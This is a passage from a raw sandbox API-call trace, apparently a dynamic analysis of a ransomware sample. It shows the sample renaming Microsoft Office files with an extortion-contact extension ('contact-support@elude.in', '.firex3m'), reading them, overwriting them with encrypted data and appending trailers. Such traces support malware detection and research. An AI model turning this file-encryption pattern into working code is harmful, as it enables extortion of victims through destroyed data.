lpOverlapped=0x0) returned 1 [0154.567] CloseHandle (hObject=0x6e4) returned 1 [0154.567] GetProcessHeap () returned 0x630000 [0154.567] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72e9d78 | out: hHeap=0x630000) returned 1 [0154.567] GetProcessHeap () returned 0x630000 [0154.567] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72de948 | out: hHeap=0x630000) returned 1 [0154.568] GetProcessHeap () returned 0x630000 [0154.568] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeeb8 | out: hHeap=0x630000) returned 1 [0154.568] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0154.568] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HOL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffcc4 | out: lpFindFileData=0x4bffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9bcfaf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9bcfaf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2213b4b7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1467ca, dwReserved0=0xb907496, dwReserved1=0x72de940, cFileName="OUTLOOK.HOL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OUTLOO~2.FIR")) returned 0x6d52c0 [0154.568] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0154.568] Sleep (dwMilliseconds=0x1) [0154.639] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1036\\MSO.ACL", len=0x3c | out: pbstr=0x4bfff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1036\\MSO.ACL") returned 1 [0154.639] GetProcessHeap () returned 0x630000 [0154.639] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x713f7f0, Size=0x2b6c) returned 0x713f7f0 [0154.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1036\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1036\\mso.acl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0154.639] CloseHandle (hObject=0x4e0) returned 1 [0154.639] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0154.640] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1036\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1036\\mso.acl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1036\\MSO.ACL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1036\\mso.acl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0154.640] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0154.640] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1036\\MSO.ACL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffc6c | out: lpFindFileData=0x4bffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4db6809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSOACL~1.FIR")) returned 0x6d5000 [0154.640] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0154.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1036\\MSO.ACL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1036\\mso.acl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0154.640] GetProcessHeap () returned 0x630000 [0154.640] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa9c1) returned 0x73893b8 [0154.641] GetProcessHeap () returned 0x630000 [0154.641] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa9c1) returned 0x718938 [0154.641] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.641] ReadFile (in: hFile=0x4e0, lpBuffer=0x73893b8, nNumberOfBytesToRead=0xa9a0, lpNumberOfBytesRead=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x73893b8*, lpNumberOfBytesRead=0x4bfff0c*=0xa9a0, lpOverlapped=0x0) returned 1 [0160.500] GetProcessHeap () returned 0x630000 [0160.500] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177718 [0160.500] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.500] WriteFile (in: hFile=0x4e0, lpBuffer=0x718938*, nNumberOfBytesToWrite=0xa9a0, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x718938*, lpNumberOfBytesWritten=0x4bfff0c*=0xa9a0, lpOverlapped=0x0) returned 1 [0160.500] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.501] WriteFile (in: hFile=0x4e0, lpBuffer=0x7232d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x7232d7*, lpNumberOfBytesWritten=0x4bfff0c*=0x20, lpOverlapped=0x0) returned 1 [0160.501] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.501] WriteFile (in: hFile=0x4e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4bfff0c*=0x4, lpOverlapped=0x0) returned 1 [0160.501] CloseHandle (hObject=0x4e0) returned 1 [0160.501] GetProcessHeap () returned 0x630000 [0160.501] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718938 | out: hHeap=0x630000) returned 1 [0160.501] GetProcessHeap () returned 0x630000 [0160.501] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73893b8 | out: hHeap=0x630000) returned 1 [0160.501] GetProcessHeap () returned 0x630000 [0160.501] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177718 | out: hHeap=0x630000) returned 1 [0160.603] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0160.603] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1036\\MSO.ACL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffcc4 | out: lpFindFileData=0x4bffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x259dd880, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa9dc, dwReserved0=0xb907496, dwReserved1=0x73893b0, cFileName="MSO.ACL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSOACL~1.FIR")) returned 0x6d5540 [0160.603] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0160.603] Sleep (dwMilliseconds=0x1) [0160.614] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x4bfff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\LocalizedStrings.xml") returned 1 [0160.614] GetProcessHeap () returned 0x630000 [0160.614] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bf8) returned 0x707d3d0 [0160.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\el\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0160.615] CloseHandle (hObject=0x5ec) returned 1 [0160.615] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0160.615] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\el\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\el\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0160.616] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0160.616] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffc6c | out: lpFindFileData=0x4bffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x169d, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d4e00 [0160.616] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0160.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\el\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0160.616] GetProcessHeap () returned 0x630000 [0160.616] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16a1) returned 0x6fb84e8 [0160.616] GetProcessHeap () returned 0x630000 [0160.616] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16a1) returned 0x72b1668 [0160.617] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.617] ReadFile (in: hFile=0x5ec, lpBuffer=0x6fb84e8, nNumberOfBytesToRead=0x1680, lpNumberOfBytesRead=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fb84e8*, lpNumberOfBytesRead=0x4bfff0c*=0x1680, lpOverlapped=0x0) returned 1 [0160.657] GetProcessHeap () returned 0x630000 [0160.657] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71773d0 [0160.657] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.657] WriteFile (in: hFile=0x5ec, lpBuffer=0x72b1668*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b1668*, lpNumberOfBytesWritten=0x4bfff0c*=0x1680, lpOverlapped=0x0) returned 1 [0160.657] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.657] WriteFile (in: hFile=0x5ec, lpBuffer=0x72b2ce7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b2ce7*, lpNumberOfBytesWritten=0x4bfff0c*=0x20, lpOverlapped=0x0) returned 1 [0160.658] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.658] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4bfff0c*=0x4, lpOverlapped=0x0) returned 1 [0160.658] CloseHandle (hObject=0x5ec) returned 1 [0160.658] GetProcessHeap () returned 0x630000 [0160.658] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72b1668 | out: hHeap=0x630000) returned 1 [0160.658] GetProcessHeap () returned 0x630000 [0160.658] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fb84e8 | out: hHeap=0x630000) returned 1 [0160.658] GetProcessHeap () returned 0x630000 [0160.658] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71773d0 | out: hHeap=0x630000) returned 1 [0160.658] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0160.658] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffcc4 | out: lpFindFileData=0x4bffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x25b5ae27, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x16c1, dwReserved0=0xb907496, dwReserved1=0x6fb84e0, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d52c0 [0160.658] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0160.658] Sleep (dwMilliseconds=0x1) [0160.826] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql90.xsl", len=0x63 | out: pbstr=0x4bfff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql90.xsl") returned 1 [0160.826] GetProcessHeap () returned 0x630000 [0160.826] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2be0) returned 0x707d3d0 [0160.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0160.826] CloseHandle (hObject=0x4c8) returned 1 [0160.826] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0160.826] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql90.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql90.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql90.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0160.827] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0160.827] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql90.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffc6c | out: lpFindFileData=0x4bffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16736b69, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16736b69, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18559, dwReserved0=0x700075, dwReserved1=0x6f0070, cFileName="sql90.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQL90X~1.FIR")) returned 0x6d5340 [0160.827] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0160.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql90.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql90.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0160.828] GetProcessHeap () returned 0x630000 [0160.828] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f98110 [0160.828] GetProcessHeap () returned 0x630000 [0160.828] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7247db0 [0160.828] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.828] ReadFile (in: hFile=0x4c8, lpBuffer=0x6f98110, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f98110*, lpNumberOfBytesRead=0x4bfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0166.478] GetProcessHeap () returned 0x630000 [0166.478] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee710 [0167.037] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.037] WriteFile (in: hFile=0x4c8, lpBuffer=0x7247db0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x7247db0*, lpNumberOfBytesWritten=0x4bfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0167.057] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.057] WriteFile (in: hFile=0x4c8, lpBuffer=0x72531af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x72531af*, lpNumberOfBytesWritten=0x4bfff0c*=0x20, lpOverlapped=0x0) returned 1 [0167.057] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.057] WriteFile (in: hFile=0x4c8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4bfff0c*=0x4, lpOverlapped=0x0) returned 1 [0167.057] CloseHandle (hObject=0x4c8) returned 1 [0167.057] GetProcessHeap () returned 0x630000 [0167.057] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7247db0 | out: hHeap=0x630000) returned 1 [0167.058] GetProcessHeap () returned 0x630000 [0167.058] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f98110 | out: hHeap=0x630000) returned 1 [0167.059] GetProcessHeap () returned 0x630000 [0167.059] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee710 | out: hHeap=0x630000) returned 1 [0167.059] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0167.060] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql90.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffcc4 | out: lpFindFileData=0x4bffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16736b69, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16736b69, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2986aca0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1857d, dwReserved0=0xb907496, dwReserved1=0x6f98108, cFileName="sql90.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQL90X~1.FIR")) returned 0x6d4e40 [0167.060] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0167.060] Sleep (dwMilliseconds=0x1) [0167.918] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko\\PowerViewRes.ko.xap", len=0x65 | out: pbstr=0x4bfff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko\\PowerViewRes.ko.xap") returned 1 [0167.918] GetProcessHeap () returned 0x630000 [0167.918] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b68) returned 0x707d3d0 [0167.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko\\PowerViewRes.ko.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ko\\powerviewres.ko.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0167.919] CloseHandle (hObject=0x6a8) returned 1 [0167.919] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0167.919] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko\\PowerViewRes.ko.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ko\\powerviewres.ko.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko\\PowerViewRes.ko.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ko\\powerviewres.ko.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0167.920] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0167.920] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko\\PowerViewRes.ko.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffc6c | out: lpFindFileData=0x4bffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x14ac0994, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x14ac0994, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14bcb9e3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4eec6, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.ko.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d53c0 [0167.920] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0167.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko\\PowerViewRes.ko.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ko\\powerviewres.ko.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0167.920] GetProcessHeap () returned 0x630000 [0167.920] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x712eeb0 [0167.920] GetProcessHeap () returned 0x630000 [0167.920] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73608f8 